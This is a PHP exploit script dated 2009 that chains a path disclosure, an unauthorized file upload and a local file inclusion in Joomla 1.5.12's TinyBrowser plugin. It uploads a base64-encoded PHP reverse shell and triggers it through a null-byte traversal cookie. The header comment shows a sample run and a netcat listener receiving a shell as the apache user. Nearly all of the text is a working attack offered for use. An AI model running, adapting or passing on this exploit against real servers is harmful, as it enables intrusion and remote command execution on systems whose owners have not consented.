#!/usr/bin/php
<?php
/*
	Copyright (c) ITIX LTD

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program.  If not, see <http://www.gnu.org/licenses/>.

	TITLE:		Joomla 1.5.12 connect back exploit
	AUTHOR:		Nikola Petrov (vp.nikola@gmail.com)
	VERSION:	1.0
	LICENSE:	GNU General Public License

	Platform: Joomla 1.5.12
	Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
	Date: 27.08.2009

	Joomla 1.5.12 suffers from different kinds of vulnerabilities:
		- path disclosure
		- unauthorized file upload
		- local file inclusion
 
	I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
	that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
	but these are enough to get a connection back from the server.

	Path disclosure: joomla/libraries/joomla/client/ldap.php
	Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
	Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php

	Here is the LFI vulnerability:
	-- snip-snip: folders.php --
	<?php
		require_once('config_tinybrowser.php');
		// Set language

		if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
			require_once('langs/'.$tinybrowser['language'].'.php'); 
		}
		else {
			require_once('langs/en.php'); // Falls back to English
		}
		...
	-- snip-snip --

	[wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php localhost 80 / localhost 9090

	[+] web root: /var/www/html
	[+] tinybrowser secret: s0merand0mjunk!!!111
	[+] Shell successfully uploaded.
	[+] Executing shell...
	[wadmin@M01 1.5.12]$

	[wadmin@M01 /]$ nc -vvv -l 9090
	Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
	id && uname -a
	uid=48(apache) gid=48(apache) groups=48(apache)
	Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
	exit
	[wadmin@M01 /]$ 
*/

	if($argc < 6) {
		print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
		print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
		print "\texample: jtiny-1-5-12.php localhost 80 / localhost 9090\n\n";
		exit();
	}

	$RemoteHost	= $argv[1];
	$RemotePort	= $argv[2];
	$RemotePath	= $argv[3];
	$LocalAddress	= $argv[4];
	$LocalPort	= $argv[5];

	if($argc == 7) $RemoteDocRoot = $argv[6];
	else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);

	if($argc == 8) $Secret = $argv[7]; 
	else $Secret = "s0merand0mjunk!!!111";

	print "[+] web root: $RemoteDocRoot\n";
	print "[+] tinybrowser secret: $Secret\n";

	$Shell = 
		"PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
		"cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
		"QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
		"dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
		"bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
		"cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
		"c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
		"YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
		"KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
		"CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
		"aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
		"JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
		"ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
		"KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
		"UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
		"aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
		"ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
		"KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
		"KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
		"TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";

	$File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
	fwrite($File, base64_decode($Shell));
	fclose($File);

	#print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
	if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
		print "[-] Cannot upload shell.\n\n";
		unlink("_shell");
		exit();	
	}
	else print "[+] Shell successfully uploaded.\n";
	unlink("_shell");

	print "[+] Executing shell...\n";
	shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);

	function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
		$Client = curl_init();

		curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
		curl_setopt($Client, CURLOPT_HEADER, 0);

		$Response = curl_exec($Client);
		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
			print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
			exit();
		}


		curl_close($Client);

		$Step1 = strpos($Response, "not found in <b>") + 16;
		$Step2 = strpos($Response, "/libraries/joomla/");

		if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
		else return substr($Response, $Step1, $Step2 - $Step1); 
	}

	function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
	  	$Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");

	  	curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
	  	curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);

	  	$Response = curl_exec($Client);
		if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
			print "[-] uploadFile() recieved http code $HttpCode.\n";
			exit();
		}

		curl_close($Client);

	  	return strpos($Response, "File Upload Success");
	}

	function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
		$Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";

		$VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";


		$Client = curl_init();

		curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
		curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
		curl_setopt($Client, CURLOPT_HEADER, 0);
		curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");

		$Response = curl_exec($Client);
		curl_close($Client);

		print $Response;
	}
?>
